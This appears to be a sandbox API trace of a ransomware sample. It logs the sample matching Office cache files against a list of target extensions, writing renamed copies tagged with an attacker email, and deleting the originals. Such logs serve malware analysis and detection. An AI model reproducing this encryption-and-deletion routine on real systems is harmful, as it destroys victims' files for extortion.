	[0089.778] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0089.778] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78
	[0089.778] lstrlenW (lpString=".1cd") returned 4
	[0089.778] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0089.778] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78
	[0089.778] lstrlenW (lpString=".jpg") returned 4
	[0089.778] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0089.975] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78
	[0089.975] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78
	[0089.975] lstrlenW (lpString=".doc") returned 4
	[0089.975] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0089.975] lstrlenW (lpString=".docx") returned 5
	[0089.975] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0089.975] lstrlenW (lpString=".pdf") returned 4
	[0089.975] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0089.975] lstrlenW (lpString=".xls") returned 4
	[0089.975] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0089.975] lstrlenW (lpString=".xlsx") returned 5
	[0089.975] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0089.975] lstrlenW (lpString=".ppt") returned 4
	[0089.975] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0089.975] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78
	[0089.975] lstrlenW (lpString=".zip") returned 4
	[0089.975] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0089.975] lstrlenW (lpString=".rar") returned 4
	[0089.975] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0089.975] lstrlenW (lpString=".bz2") returned 4
	[0089.976] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0089.976] lstrlenW (lpString=".7z") returned 3
	[0089.976] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0089.976] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78
	[0089.976] lstrlenW (lpString=".dbf") returned 4
	[0089.976] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0089.976] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78
	[0089.976] lstrlenW (lpString=".1cd") returned 4
	[0089.976] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0089.976] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78
	[0089.976] lstrlenW (lpString=".jpg") returned 4
	[0089.976] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0089.976] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0089.976] lstrlenW (lpString="Setup.xml") returned 9
	[0089.976] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0090.469] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=1988) returned 1
	[0090.469] CloseHandle (hObject=0x1ac) returned 1
	[0090.469] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020
	[0090.469] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0090.469] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0090.469] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0090.469] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0090.469] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0
	[0090.470] GetLastError () returned 0x0
	[0090.470] ReadFile (in: hFile=0x1ac, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x7c4, lpOverlapped=0x0) returned 1
	[0090.692] WriteFile (in: hFile=0x1b0, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x7d0, lpOverlapped=0x0) returned 1
	[0090.693] ReadFile (in: hFile=0x1ac, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0090.693] WriteFile (in: hFile=0x1b0, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0090.693] SetEndOfFile (hFile=0x1b0) returned 1
	[0090.693] CloseHandle (hObject=0x1b0) returned 1
	[0090.694] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0090.694] SetEndOfFile (hFile=0x1ac) returned 1
	[0090.695] CloseHandle (hObject=0x1ac) returned 1
	[0090.695] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0090.696] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1
	[0090.696] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0090.696] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0090.696] lstrlenW (lpString=".doc") returned 4
	[0090.696] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0090.696] lstrlenW (lpString=".docx") returned 5
	[0090.696] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0090.696] lstrlenW (lpString=".pdf") returned 4
	[0090.696] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0090.696] lstrlenW (lpString=".xls") returned 4
	[0090.696] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0090.696] lstrlenW (lpString=".xlsx") returned 5
	[0090.697] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0090.697] lstrlenW (lpString=".ppt") returned 4
	[0090.697] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0090.697] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0090.697] lstrlenW (lpString=".zip") returned 4
	[0090.697] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0090.697] lstrlenW (lpString=".rar") returned 4
	[0090.697] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0090.697] lstrlenW (lpString=".bz2") returned 4
	[0090.697] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0090.697] lstrlenW (lpString=".7z") returned 3
	[0090.697] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0090.697] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0090.697] lstrlenW (lpString=".dbf") returned 4
	[0090.697] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0090.697] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0090.697] lstrlenW (lpString=".1cd") returned 4
	[0090.697] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0090.698] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0090.698] lstrlenW (lpString=".jpg") returned 4
	[0090.698] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0090.698] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0090.698] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0090.698] lstrlenW (lpString=".doc") returned 4
	[0090.698] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0090.698] lstrlenW (lpString=".docx") returned 5
	[0090.698] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0090.698] lstrlenW (lpString=".pdf") returned 4
	[0090.698] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0090.698] lstrlenW (lpString=".xls") returned 4
	[0090.698] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0090.698] lstrlenW (lpString=".xlsx") returned 5
	[0090.698] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0090.698] lstrlenW (lpString=".ppt") returned 4
	[0090.699] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0090.699] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0090.699] lstrlenW (lpString=".zip") returned 4
	[0090.699] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0090.699] lstrlenW (lpString=".rar") returned 4
	[0090.699] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0090.699] lstrlenW (lpString=".bz2") returned 4
	[0090.699] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0090.699] lstrlenW (lpString=".7z") returned 3
	[0090.699] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0090.699] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0090.699] lstrlenW (lpString=".dbf") returned 4
	[0090.699] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0090.699] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0090.699] lstrlenW (lpString=".1cd") returned 4
	[0090.699] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0090.699] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0090.699] lstrlenW (lpString=".jpg") returned 4
	[0090.700] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0090.700] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0090.700] lstrlenW (lpString="branding.xml") returned 12
	[0090.700] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0090.707] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=596341) returned 1
	[0090.707] CloseHandle (hObject=0x1ac) returned 1
	[0090.707] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 0x2020
	[0090.707] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0090.707] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0090.721] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0090.721] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0090.721] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0
	[0090.721] GetLastError () returned 0x0
	[0090.721] ReadFile (in: hFile=0x1ac, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x91975, lpOverlapped=0x0) returned 1
	[0090.785] WriteFile (in: hFile=0x1b0, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x91980, lpOverlapped=0x0) returned 1
	[0090.797] ReadFile (in: hFile=0x1ac, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0090.797] WriteFile (in: hFile=0x1b0, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0090.798] SetEndOfFile (hFile=0x1b0) returned 1
	[0090.798] CloseHandle (hObject=0x1b0) returned 1
	[0090.807] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0090.807] SetEndOfFile (hFile=0x1ac) returned 1
	[0091.766] CloseHandle (hObject=0x1ac) returned 1
	[0091.766] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0091.767] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 1
	[0092.055] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75
	[0092.055] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75
	[0092.055] lstrlenW (lpString=".doc") returned 4
	[0092.055] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0092.055] lstrlenW (lpString=".docx") returned 5
	[0092.055] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1
	[0092.055] lstrlenW (lpString=".pdf") returned 4
	[0092.055] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0092.055] lstrlenW (lpString=".xls") returned 4
	[0092.055] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0092.056] lstrlenW (lpString=".xlsx") returned 5
	[0092.056] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1
	[0092.056] lstrlenW (lpString=".ppt") returned 4
	[0092.056] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0092.056] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75
	[0092.056] lstrlenW (lpString=".zip") returned 4
	[0092.056] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0092.056] lstrlenW (lpString=".rar") returned 4
	[0092.056] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0092.056] lstrlenW (lpString=".bz2") returned 4
	[0092.056] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0092.056] lstrlenW (lpString=".7z") returned 3
	[0092.056] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0092.056] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75
	[0092.056] lstrlenW (lpString=".dbf") returned 4
	[0092.056] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0092.056] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75
	[0092.056] lstrlenW (lpString=".1cd") returned 4
	[0092.056] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0092.056] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75
	[0092.056] lstrlenW (lpString=".jpg") returned 4
	[0092.056] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0092.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75
	[0092.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75
	[0092.057] lstrlenW (lpString=".doc") returned 4
	[0092.057] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0092.057] lstrlenW (lpString=".docx") returned 5
	[0092.057] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1
	[0092.057] lstrlenW (lpString=".pdf") returned 4
	[0092.057] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0092.057] lstrlenW (lpString=".xls") returned 4
	[0092.057] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0092.057] lstrlenW (lpString=".xlsx") returned 5
	[0092.057] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1
	[0092.057] lstrlenW (lpString=".ppt") returned 4
	[0092.057] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0092.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75
	[0092.057] lstrlenW (lpString=".zip") returned 4
	[0092.057] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0092.057] lstrlenW (lpString=".rar") returned 4
	[0092.057] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0092.057] lstrlenW (lpString=".bz2") returned 4
	[0092.057] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0092.057] lstrlenW (lpString=".7z") returned 3
	[0092.057] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0092.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75
	[0092.057] lstrlenW (lpString=".dbf") returned 4
	[0092.057] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0092.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75
	[0092.058] lstrlenW (lpString=".1cd") returned 4
	[0092.058] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0092.058] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75
	[0092.058] lstrlenW (lpString=".jpg") returned 4
	[0092.058] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0092.058] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0092.058] lstrlenW (lpString="Setup.xml") returned 9
	[0092.058] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8
	[0093.002] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=9352) returned 1
	[0093.002] CloseHandle (hObject=0x1c8) returned 1
	[0093.002] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020
	[0093.002] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0093.002] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8
	[0093.002] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.002] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.003] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4
	[0093.003] GetLastError () returned 0x0
	[0093.003] ReadFile (in: hFile=0x1c8, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x2488, lpOverlapped=0x0) returned 1
	[0093.015] WriteFile (in: hFile=0x1c4, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x2490, lpOverlapped=0x0) returned 1
	[0093.016] ReadFile (in: hFile=0x1c8, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0093.016] WriteFile (in: hFile=0x1c4, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0093.017] SetEndOfFile (hFile=0x1c4) returned 1
	[0093.020] CloseHandle (hObject=0x1c4) returned 1
	[0093.024] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.024] SetEndOfFile (hFile=0x1c8) returned 1
	[0093.025] CloseHandle (hObject=0x1c8) returned 1
	[0093.025] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0093.025] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1
	[0093.025] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.025] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.025] lstrlenW (lpString=".doc") returned 4
	[0093.025] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0093.025] lstrlenW (lpString=".docx") returned 5
	[0093.025] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0093.025] lstrlenW (lpString=".pdf") returned 4
	[0093.025] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0093.026] lstrlenW (lpString=".xls") returned 4
	[0093.026] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0093.026] lstrlenW (lpString=".xlsx") returned 5
	[0093.026] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0093.026] lstrlenW (lpString=".ppt") returned 4
	[0093.026] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0093.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
